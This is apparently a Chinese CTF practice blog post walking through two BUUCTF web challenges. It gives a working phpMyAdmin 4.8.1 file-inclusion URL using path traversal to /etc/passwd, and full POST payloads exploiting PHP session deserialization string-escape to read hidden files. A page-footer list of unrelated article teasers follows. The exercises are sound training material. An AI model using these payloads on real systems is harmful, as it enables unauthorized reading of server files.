[BT]BUUCTF刷题第20天(4.22)

第20天

Web

[GWCTF 2019]我有一个数据库

在这里插入图片描述
打开网站发现乱码信息(查看其他题解发现显示的是:我有一个数据库,但里面什么也没有~ 不信你找

但也不是明显信息,通过dirsearch扫描得到robots.txt,然后在里面得到了

User-agent: *
Disallow: phpinfo.php

访问phpinfo.php
在这里插入图片描述

不过这里我没有找到什么有用的信息,这里根据题解访问/phpmyadmin

在这里插入图片描述
看到phpMyAdmin版本是4.8.1,这个版本的index.php文件里有一个漏洞可以读取文件,点击这篇文章详细了解原理

然后构造?target=pdf_pages.php%253f/../../../../../../../../etc/passwd

源码内对URL进行了?分割,在分割前,对参数进行了urldecode,且如果?号前面的文件名称在白名单里,就可以绕过,这样我们令target=db_sql.php(db_sql.php是白名单里其中一个),二是在传参使对?进行二次URL编码,即?变为%253f

最后构造完整的URL

http://ad1cc1dc-3db1-48a8-8c40-8957b62c6e8a.node5.buuoj.cn:81/phpmyadmin/index.php?target=db_sql.php%253f/…/…/…/…/…/…/…/…/flag

在这里插入图片描述

[安洵杯 2019]easy_serialize_php

在这里插入图片描述
打开网站点击看到源代码

<?php$function = @$_GET['f'];   		//通过GET方法对f参数进行传值function filter($img){          //一个过滤函数,过滤$img参数的php后缀等$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}if($_SESSION){unset($_SESSION);			//销毁原$_SESSION,如果设置了的话
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;extract($_POST);               /* 该函数使用数组键名作为变量名,使用数组键值作为变量值。 即extract($_POST);可以接受Post请求(同时覆盖原值) */if(!$function){echo '<a href="index.php?f=highlight_file">source_code</a>';
}if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');     		
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));	
}$serialize_info = filter(serialize($_SESSION));        //先对$_SESSION进行一次序列化,再对序列化结果进行一次过滤if($function == 'highlight_file'){highlight_file('index.php');
}else if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){      			   //我们要执行到这里$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
}

根据明显提示构造URL/index.php?f=phpinfo

在这里插入图片描述
在里面发现了预包含文件: d0g3_f1ag.php

php.ini 配置文件中设置了 auto_append_file 指令后,PHP 将自动将指定文件的内容附加到服务器上运行的每个 PHP 脚本的输出中。这提供了一种便捷的方式,确保某些代码或功能被一致地包含在所有 PHP 脚本中,而无需单独修改每个脚本,即预包含。

猜测后面需要读取到这个文件,接下来就是构造URL部分的内容:

/index.php?f=show_image

为了执行

echo file_get_contents(base64_decode($userinfo['img']));

接着构造POST方法里面的部分:
这里我们要让$userinfo['img']的值是ZDBnM19mMWFnLnBocA==(d0g3_f1ag.php的Base64编码,传进去后会被解码),这样才能读取d0g3_f1ag.php文件

但是因为这段代码让我们不管设没设置img_path,都会将$_SESSION['img'](也就是后面的$userinfo['img'])改成我们不想要的值

if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');     		
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));	
}

但是$userinfo = unserialize($serialize_info);这句代码又让我们看到了希望,它正好在echo命令的上面一行,我们考虑对$serialize_info进行反序列化后会包含img : ZDBnM19mMWFnLnBocA==

这里来到了$serialize_info = filter(serialize($_SESSION));,它首先会对传进来的$_SESSION进行序列化然后过滤参数

直接给出POST部分的内容

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;s:2:“dd”;s:1:“a”;};

这里user的值(也就是那8个flag)总长度为24是为了让PHP往后读取合适的24个长度,而function里面的具体值是我们精心构造的

但是经过网站序列化加过滤得到的是:

a:2:{s:4:“user”;s:24:“”;s:8:“function”;s:59:“a”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;s:2:“dd”;s:1:“a”;}";}

这里主要是s:4:"user";s:24
意思是user这个键的值长度应该是24的,但是可以看到后面跟的是"",长度是0,那么PHP就不认这个,它认";s:8:"function";s:59:"a";s:3:(刚好长度是24),然后左右两边也有引号括着的,那么接着就读img这个键,这个键正常读。后面还有一个dd键是为了满足三个默认参数的要求的

也就是说经过这么一弄,function这个键没了,只有userimg以及dd

然后在读到的d0g3_f1ag.php注释里看到了新的提示文件d0g3_fllllllag

在这里插入图片描述

将以上Payload的对应值改成L2QwZzNfZmxsbGxsbGFn/d0g3_fllllllag对应的Base64编码,注意要加斜杠)
即:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:“img”;s:20:“L2QwZzNfZmxsbGxsbGFn”;s:2:“dd”;s:1:“a”;};

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/827366.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

51单片机数字温度报警器_DS18B20可调上下限(仿真+程序+原理图)

数字温度报警器 1 **主要功能&#xff1a;*****\*资料下载链接&#xff08;可点击&#xff09;&#xff1a;\**** 2 **仿真图&#xff1a;**3 **原理图&#xff1a;**4 **设计报告&#xff1a;**5 **程序设计&#xff1a;**主函数外部中断函数DS18B20驱动 6 讲解视频7 **资料清…

OSPF的七种LSA类型

OSPF的LSA类型 在OSPF协议中&#xff0c;使用LSA来传递路由信息和拓扑信息&#xff0c;因此了解不同的LSA的内容和其功能&#xff0c;对了解OSPF协议的路由形成有很大帮助。这里的OSPF是v2版本&#xff0c;只针对IPv4来讲。 描述一条LSA的三要素&#xff1a; ADV Router产生者…

上海亚商投顾:沪指震荡调整 油气等周期股集体下挫

上海亚商投顾前言&#xff1a;无惧大盘涨跌&#xff0c;解密龙虎榜资金&#xff0c;跟踪一线游资和机构资金动向&#xff0c;识别短期热点和强势个股。 一.市场情绪 沪指昨日震荡调整&#xff0c;深成指、创业板指小幅走弱。军工板块逆势拉升&#xff0c;中船应急、捷安高科、…

ORACLE数值相关的sql语句

ORACLE数值相关的sql语句 引言1. 基础数值运算2. 数值函数应用2.1 精确数值函数2.2 绝对值函数 ABS() 3. 判断和转换数值4. 聚合数值字段5. 数值范围查询总结 引言 在Oracle数据库中&#xff0c;处理数值数据是一项常见的任务&#xff0c;不论是进行简单的数学运算&#xff0c;…

simlab python二次开发2-一键生成轴瓦并设定节点号

simlab python二次开发2-一键生成轴瓦并设定节点号 1、节点坐标计算并建立1.1、建坐标原点节点&#xff0c;并得到Model-1.gda1.2、轴瓦节点计算并建立 2、由节点建面2.1、由4个节点建面得到3个面单元Body2.2、得到Bodies名称2.3、根据Bodies名称选面特征&#xff08;放入Group…

JavaScript介绍

JavaScript&#xff08;简称“JS”&#xff09;是一种具有函数优先的轻量级&#xff0c;解释型或即时编译型的编程语言。它最初由Netscape公司的Brendan Eich在1995年设计实现&#xff0c;用于为网页添加动态效果和交互功能。作为开发Web页面的脚本语言而出名&#xff0c;但它也…

AR爆发的前夜,Rokid站在了门口

文&#xff5c;刘俊宏 摆脱6寸的手机屏幕&#xff0c;栖居在300寸大屏的智慧生活是什么样子&#xff1f; 4月20日&#xff0c;Rokid在新品AR Lite空间计算套装的发布会上&#xff0c;“硬刚”了苹果的Vision Pro。 Rokid AR Lite空间计算套装 Rokid AR Lite与苹果Vision Pro…

el-upload组件如何上传blob格式的url地址视频

el-upload组件如何上传blob格式的url地址视频 一、存在问题二、直接上代码 需求&#xff1a;想把视频地址url:“blob:http://localhost:8083/65bd3c0f-52ec-4844-b85e-06fdb5095b7b”&#xff0c;通过el-upload组件上传 el-upload是Element UI中用于文件上传的组件&#xff0c;…

中文医疗大模型及中文底座大模型参考

参考&#xff1a;https://github.com/HqWu-HITCS/Awesome-Chinese-LLM 中文底座大模型 中文医疗大模型

c#学习入门1

一、环境配置 颜色主题 字体设置 行号设置 二、第一个应用程序 1. 在解决方案下创建一个新项目 第一种注释&#xff1a;两杠注释 第二种注释&#xff1a;星号注释 第三种注释&#xff1a;三杠注释(只有在花括号后面输出才会自动补全&#xff09; 2.控制台输入打印基础语句 输…

第⑯讲:Ceph集群Pool资源池管理以及PG的数据分布的核心技术要点

文章目录 1.Pool资源池的管理1.1.查看Pool资源池列表1.2.创建一个Pool资源池1.3.查看Pool资源池的参数信息1.4.修改Pool资源池的参数信息1.5.为Pool资源池设置应用模式1.6.重命名Pool资源池1.7.设置Pool资源池的限额1.8.删除Pool资源池1.9.查看Pool资源池的利用率 2.PG的数据分…

产品经理必会12个产品模型

很多运营经理&#xff0c;常常觉得产品成功的决定性因素是“产品做得好”。 而很多产品经理却认为&#xff0c;产品互抄太严重了&#xff0c;差异化的竞争要点是“产品运营得好”。 在商业高速发展时代&#xff0c;成功产品定义往往不是单点成功&#xff0c;而是由3大要素共同…

统计单词数量(文件)(*)

请编写函数&#xff0c;统计英文文章的单词数量。 函数原型 int CountWord(FILE *f); 说明&#xff1a;参数 f 为文件指针。函数值为该文件的单词数量。 裁判程序 #include <stdio.h> #include <stdlib.h> #include <ctype.h>int CountWord(FILE *f);in…

就业班 第三阶段(负载均衡) 2401--4.18 day2 nginx2 LVS-DR模式

3、LVS/DR 模式 实验说明&#xff1a; 1.网络使用NAT模式 2.DR模式要求Director DIP 和 所有RealServer RIP必须在同一个网段及广播域 3.所有节点网关均指定真实网关 主机名ip系统用途client172.16.147.1mac客户端lvs-server172.16.147.154centos7.5分发器real-server1172.16.…

SpringBoot整合PDF动态填充数据并下载

目录 目录 一、准备环境 二、iTextPDF介绍 三、步骤 四、访问查看结果 五、源代码参考 一、准备环境 ①下载一个万兴pdf软件 ②准备一个pdf 文件 二、iTextPDF介绍 这是一个用于生成PDF文档的Java库&#xff0c; 文档创建与修改&#xff1a;iTextPDF能够从零开始创建…

Java基础:单例模式,Spring源码中有哪些单例模式

单例模式是一种常用的软件设计模式&#xff0c;其目的是确保一个类仅有一个实例&#xff0c;并提供一个全局访问点来获取这个唯一实例。在Java中&#xff0c;实现单例模式通常需要遵循以下几个关键原则&#xff1a; 私有化构造器&#xff1a;将类的构造器声明为private&#xf…

4.2 Python列表(list)

Python list列表详解 在实际开发中&#xff0c;经常需要将一组&#xff08;不只一个&#xff09;数据存储起来&#xff0c;以便后边的代码使用。说到这里&#xff0c;一些读者可能听说过数组&#xff08;Array&#xff09;&#xff0c;它就可以把多个数据挨个存储到一起&#…

学习Rust的第11天:模块系统

Rust的模块系统可以使用它来管理不断增长的项目&#xff0c;并跟踪 modules 存储在何处。 Rust的模块系统是将代码组织成逻辑片段的有效工具&#xff0c;因此可以实现代码维护和重用。模块支持分层组织、隐私管理和代码封装。Rust为开发人员提供了多功能和可扩展的方法来管理项…

用 Pytorch 训练一个 Transformer模型

昨天说了一下Transformer架构&#xff0c;今天我们来看看怎么 Pytorch 训练一个Transormer模型&#xff0c;真实训练一个模型是个庞大工程&#xff0c;准备数据、准备硬件等等&#xff0c;我只是做一个简单的实现。因为只是做实验&#xff0c;本地用 CPU 也可以运行。 本文包含…

Vue阶段练习:tab栏、进度条、

阶段练习旨在学习完Vue 指令、计算属性、侦听器-CSDN博客后&#xff0c;进行自我检测&#xff0c;每个练习分为效果显示、需求分析、静态代码、完整代码、总结 四个部分&#xff0c;效果显示和准备代码已给出&#xff0c;我们需要完成“完整代码”部分。 练习1&#xff1a;tab栏…